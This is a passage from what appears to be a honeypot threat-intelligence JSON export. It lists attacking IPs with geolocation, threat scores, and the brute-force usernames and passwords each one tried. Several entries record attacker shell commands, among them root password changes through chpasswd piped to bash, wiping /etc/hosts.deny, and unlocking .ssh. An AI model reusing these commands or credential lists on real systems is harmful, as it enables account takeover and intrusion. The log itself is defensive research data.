      "country_code": "TZ",
      "city": null,
      "asn": 33765,
      "as_org": "TTCLDATA",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T13:38:46.143000+00:00",
        "last_seen_30d": "2026-03-21T13:40:08.787000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "46.101.85.119": {
      "attack_count": 2,
      "first_seen": "2026-03-11T20:57:23.348Z",
      "last_seen": "2026-03-11T20:57:23.629Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 6.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T20:57:23.348000+00:00",
        "last_seen_30d": "2026-03-11T20:58:25.929000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "47.236.54.176": {
      "attack_count": 2,
      "first_seen": "2026-03-22T12:05:10.267Z",
      "last_seen": "2026-03-22T12:05:41.070Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 13.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T12:05:10.267000+00:00",
        "last_seen_30d": "2026-03-22T12:06:47.906000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "59.91.45.251": {
      "attack_count": 2,
      "first_seen": "2026-03-27T21:49:33.609Z",
      "last_seen": "2026-03-27T21:49:48.905Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Ajmer",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T21:49:33.609000+00:00",
        "last_seen_30d": "2026-03-27T21:50:51.754000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "59.98.70.77": {
      "attack_count": 2,
      "first_seen": "2026-03-27T06:34:34.180Z",
      "last_seen": "2026-03-27T06:34:47.827Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T06:34:34.180000+00:00",
        "last_seen_30d": "2026-03-27T06:35:52.010000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "71.6.199.87": {
      "attack_count": 2,
      "first_seen": "2026-03-30T10:32:54.434Z",
      "last_seen": "2026-03-30T10:33:04.647Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc.",
      "threat_score": 82.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 16.2,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 29,
        "ports_targeted_30d": 12,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T06:04:11.845000+00:00",
        "last_seen_30d": "2026-03-30T10:34:14.046000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 34,
        "Dionaea": 4,
        "Cowrie": 2,
        "ElasticPot": 1,
        "H0neytr4p": 1
      }
    },
    "84.24.152.69": {
      "attack_count": 2,
      "first_seen": "2026-03-28T07:48:45.674Z",
      "last_seen": "2026-03-28T07:48:59.000Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Meppel",
      "asn": 33915,
      "as_org": "Vodafone Libertel B.V.",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T07:48:45.674000+00:00",
        "last_seen_30d": "2026-03-28T07:50:08.856000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "84.8.154.45": {
      "attack_count": 2,
      "first_seen": "2026-03-24T20:01:34.648Z",
      "last_seen": "2026-03-24T20:02:06.268Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T20:01:34.648000+00:00",
        "last_seen_30d": "2026-03-24T20:03:07.669000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "95.55.67.243": {
      "attack_count": 2,
      "first_seen": "2026-03-23T18:27:05.014Z",
      "last_seen": "2026-03-23T18:27:20.793Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Gatchina",
      "asn": 12389,
      "as_org": "Rostelecom",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T18:27:05.014000+00:00",
        "last_seen_30d": "2026-03-23T18:28:27.249000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "143.198.63.196": {
      "attack_count": 3525,
      "first_seen": "2026-03-05T02:41:06.062Z",
      "last_seen": "2026-03-05T03:14:55.711Z",
      "sessions": 705,
      "ports": [],
      "usernames_attempted": [
        "root",
        "deploy",
        "ubuntu",
        "user",
        "ftpuser",
        "admin",
        "test",
        "deployer",
        "kafka",
        "minecraft",
        "odoo",
        "oracle",
        "student",
        "alex",
        "bot",
        "jenkins",
        "steam",
        "ali",
        "debian",
        "web"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "password",
        "P@ssw0rd",
        "12345678",
        "1234",
        "p@ssw0rd",
        "1",
        "12345",
        "root",
        "111",
        "1111",
        "1qaz@WSX",
        "admin",
        "admin123",
        "1234567",
        "0000",
        "11",
        "123123123",
        "123456789"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 4944,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T02:41:06.062000+00:00",
        "last_seen_30d": "2026-03-05T03:16:00.703000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3525,
        "Suricata": 1419
      }
    },
    "107.150.110.167": {
      "attack_count": 852,
      "first_seen": "2026-03-02T20:26:06.409Z",
      "last_seen": "2026-03-21T18:34:31.198Z",
      "sessions": 53,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin1",
        "allen",
        "leon",
        "mailuser",
        "sit",
        "student2",
        "tester",
        "clawd",
        "data",
        "db2inst1",
        "javier",
        "jhpark",
        "linux",
        "minioadmin",
        "rstudio",
        "sftptest",
        "teamcity",
        "vagrant"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "123",
        "1233218613f",
        "12345678",
        "password",
        "123.com.cn",
        "123@qwer",
        "Abc12345!",
        "Allen123!",
        "Bismillah",
        "Db2inst1123!",
        "Deneme123",
        "Leon123",
        "Lx123456",
        "Passw0rd!@#$",
        "Tester123!",
        "a2008",
        "aaaaaaaaaa"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"1233218613f\\nTkyjfyaAjcQB\\nTkyjfyaAjcQB\\n\"|passwd",
        "echo \"12345678\\nsbccbXe7jSdz\\nsbccbXe7jSdz\\n\"|passwd",
        "echo \"123\\n8msF7WXfnPHX\\n8msF7WXfnPHX\\n\"|passwd",
        "echo \"Allen123!\\nIpf0uwIbfGsH\\nIpf0uwIbfGsH\\n\"|passwd",
        "echo \"Leon123\\np7SScJww6zHz\\np7SScJww6zHz\\n\"|passwd",
        "echo \"Tester123!\\nNyXJU6orXJ5q\\nNyXJU6orXJ5q\\n\"|passwd",
        "echo \"root:CjAukPlBsBKO\"|chpasswd|bash",
        "echo \"root:OGkXWQTXwLs7\"|chpasswd|bash",
        "echo \"root:XqPk6PLtt0cF\"|chpasswd|bash",
        "echo \"student2\\nMAbWySZccmJB\\nMAbWySZccmJB\\n\"|passwd"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 39.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.9,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 972,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T20:26:06.409000+00:00",
        "last_seen_30d": "2026-03-21T18:35:41.197000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 852,
        "Suricata": 120
      }
    },
    "173.212.228.191": {
      "attack_count": 657,
      "first_seen": "2026-03-08T12:15:33.011Z",
      "last_seen": "2026-03-26T10:15:52.992Z",
      "sessions": 59,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "bananapi",
        "geo",
        "hduser",
        "jitendra",
        "prueba",
        "superman",
        "usuarioftp",
        "aa",
        "appsmith",
        "auditor",
        "awsuser",
        "bitwarden",
        "bot",
        "charles",
        "consul",
        "contab",
        "dls",
        "grafana"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "1234",
        "password",
        "123456",
        "!QAZ2wsx",
        "123",
        "12345",
        "Aa1234567",
        "Ociispth123!",
        "Personal123",
        "Temp123!",
        "Vamsi123",
        "Wy123456@",
        "a",
        "appsmith",
        "auditor1234",
        "bananapi123",
        "bitwarden123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\n2AzP6KqMRbmN\\n2AzP6KqMRbmN\\n\"|passwd",
        "echo \"123456\\ntKjpAz84827f\\ntKjpAz84827f\\n\"|passwd",
        "echo \"bananapi123\\ndx8OxdTATuqX\\ndx8OxdTATuqX\\n\"|passwd",
        "echo \"geo123!\\nRzTA9VphaTNn\\nRzTA9VphaTNn\\n\"|passwd",
        "echo \"hduser123\\npJ5WsN1uiVsU\\npJ5WsN1uiVsU\\n\"|passwd",
        "echo \"prueba\\nieQ6FkEZawxF\\nieQ6FkEZawxF\\n\"|passwd",
        "echo -e \"123456\\n2AzP6KqMRbmN\\n2AzP6KqMRbmN\"|passwd|bash",
        "echo -e \"123456\\ntKjpAz84827f\\ntKjpAz84827f\"|passwd|bash",
        "echo -e \"bananapi123\\ndx8OxdTATuqX\\ndx8OxdTATuqX\"|passwd|bash",
        "echo -e \"geo123!\\nRzTA9VphaTNn\\nRzTA9VphaTNn\"|passwd|bash",
        "echo -e \"hduser123\\npJ5WsN1uiVsU\\npJ5WsN1uiVsU\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 47.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.0,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 792,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T12:15:33.011000+00:00",
        "last_seen_30d": "2026-03-26T10:16:56.926000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 657,
        "Suricata": 135
      }
    },
    "139.59.157.104": {
      "attack_count": 612,
      "first_seen": "2026-03-08T01:29:50.766Z",
      "last_seen": "2026-03-24T09:59:59.012Z",
      "sessions": 52,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "Admin",
        "dan",
        "sshuser",
        "thor",
        "andong",
        "assistant",
        "chenghao",
        "demon",
        "eddy",
        "facturacion",
        "george",
        "gestion",
        "hsadmin",
        "huang",
        "hugo",
        "iksi",
        "intell",
        "kafka"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "12345",
        "123",
        "123456",
        "password",
        "10101010",
        "1qaz2wsx@@",
        "2020.",
        "Abcd@123456",
        "Admin1234",
        "Hsadmin123!",
        "P@ssw0rd!!",
        "andongpass",
        "demonpass",
        "eddy123!",
        "facturacionpass",
        "huang"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"12345678\\no2GCKVWUAF3E\\no2GCKVWUAF3E\\n\"|passwd",
        "echo \"12345678\\nq0EqdZZpd2Pg\\nq0EqdZZpd2Pg\\n\"|passwd",
        "echo \"1234\\nlgAPMxbPLduA\\nlgAPMxbPLduA\\n\"|passwd",
        "echo \"Admin1234\\nI30Rji0JNawf\\nI30Rji0JNawf\\n\"|passwd",
        "echo \"root:33tOeEQyZfl0\"|chpasswd|bash",
        "echo \"root:Kpmkt6RDwNZK\"|chpasswd|bash",
        "echo -e \"12345678\\no2GCKVWUAF3E\\no2GCKVWUAF3E\"|passwd|bash",
        "echo -e \"12345678\\nq0EqdZZpd2Pg\\nq0EqdZZpd2Pg\"|passwd|bash",
        "echo -e \"1234\\nlgAPMxbPLduA\\nlgAPMxbPLduA\"|passwd|bash",
        "echo -e \"Admin1234\\nI30Rji0JNawf\\nI30Rji0JNawf\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 42.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.6,
        "persistence": 14.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 731,
        "days_active_30d": 17,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T01:29:50.766000+00:00",
        "last_seen_30d": "2026-03-24T10:01:08.461000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 612,
        "Suricata": 119
      }
    },
    "134.199.172.107": {
      "attack_count": 600,
      "first_seen": "2026-03-08T04:05:52.971Z",
      "last_seen": "2026-03-08T06:19:41.515Z",
      "sessions": 119,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "hadoop",
        "mysql",
        "oracle",
        "postgres",
        "test",
        "zabbix",
        "git"
      ],
      "passwords_attempted": [
        "1",
        "12",
        "123",
        "1234",
        "12345",
        "123456",
        "1234567",
        "12345678",
        "123456789",
        "1234567890",
        "passw0rd",
        "password",
        "admin",
        "git",
        "hadoop",
        "mysql",
        "oracle",
        "postgres",
        "root",
        "root1"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 9.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 29.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 864,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T04:05:52.971000+00:00",
        "last_seen_30d": "2026-03-08T06:20:44.151000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 600,
        "Suricata": 264
      }
    },
    "103.186.0.127": {
      "attack_count": 537,
      "first_seen": "2026-03-12T07:36:48.279Z",
      "last_seen": "2026-03-13T13:13:59.417Z",
      "sessions": 57,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "claude",
        "root",
        "hh",
        "n8n",
        "rdpuser",
        "rico",
        "sonarqube",
        "valheim",
        "amp",
        "android",
        "auditor",
        "ben",
        "boom",
        "comp",
        "demo",
        "devuser",
        "ems",
        "felix",
        "ghost"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "password",
        "1234",
        "123",
        "123456",
        "12345678",
        "Amp123!",
        "Demo123",
        "Devuser123!",
        "Felix123",
        "Huawei@12#$",
        "Jirka123!",
        "Keycloak123",
        "Nginx123!",
        "Planka123",
        "Test@12345",
        "Valheim123",
        "android1234"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345\\nKz6vl2odClNC\\nKz6vl2odClNC\\n\"|passwd",
        "echo \"Valheim123\\n8eplk220G9na\\n8eplk220G9na\\n\"|passwd",
        "echo \"n8n\\nVEo6Anag2oov\\nVEo6Anag2oov\\n\"|passwd",
        "echo \"rdpuserpass\\nhDwCz8XyzkQA\\nhDwCz8XyzkQA\\n\"|passwd",
        "echo -e \"12345\\nKz6vl2odClNC\\nKz6vl2odClNC\"|passwd|bash",
        "echo -e \"Valheim123\\n8eplk220G9na\\n8eplk220G9na\"|passwd|bash",
        "echo -e \"n8n\\nVEo6Anag2oov\\nVEo6Anag2oov\"|passwd|bash",
        "echo -e \"rdpuserpass\\nhDwCz8XyzkQA\\nhDwCz8XyzkQA\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 16.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.3,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 670,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T07:36:48.279000+00:00",
        "last_seen_30d": "2026-03-13T13:15:00.350000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 537,
        "Suricata": 133
      }
    },
    "172.214.209.153": {
      "attack_count": 536,
      "first_seen": "2026-03-15T20:02:14.884Z",
      "last_seen": "2026-03-21T08:56:40.786Z",
      "sessions": 37,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "elsearch",
        "alfresco",
        "pro",
        "boss",
        "controlm",
        "dev",
        "eric",
        "exx",
        "grid",
        "hive",
        "int",
        "io",
        "kusanagi",
        "proradis",
        "testme",
        "upload",
        "usuarioftp",
        "vente"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "1234",
        "123456",
        "123",
        "12345678",
        "Pro123!",
        "Qwerty123!@#",
        "Root2026",
        "Usuarioftp123",
        "alfresco123",
        "boss@123",
        "dev123",
        "elsearchpassword",
        "ericpass",
        "exxpass",
        "int123",
        "io@123456",
        "liverovast#adkz443"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"Pro123!\\nHeK2CIphk7uq\\nHeK2CIphk7uq\\n\"|passwd",
        "echo \"alfresco123\\nkxFBV9E5xzr7\\nkxFBV9E5xzr7\\n\"|passwd",
        "echo \"elsearchpassword\\nv1Y1kzC6gWzx\\nv1Y1kzC6gWzx\\n\"|passwd",
        "echo \"root:cGDLJ3Pk0Ast\"|chpasswd|bash",
        "echo \"root:fLy1vStuzkcF\"|chpasswd|bash",
        "echo \"root:feAG5tNNVF9d\"|chpasswd|bash",
        "echo -e \"Pro123!\\nHeK2CIphk7uq\\nHeK2CIphk7uq\"|passwd|bash",
        "echo -e \"alfresco123\\nkxFBV9E5xzr7\\nkxFBV9E5xzr7\"|passwd|bash",
        "echo -e \"elsearchpassword\\nv1Y1kzC6gWzx\\nv1Y1kzC6gWzx\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 30.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.9,
        "persistence": 5.8,
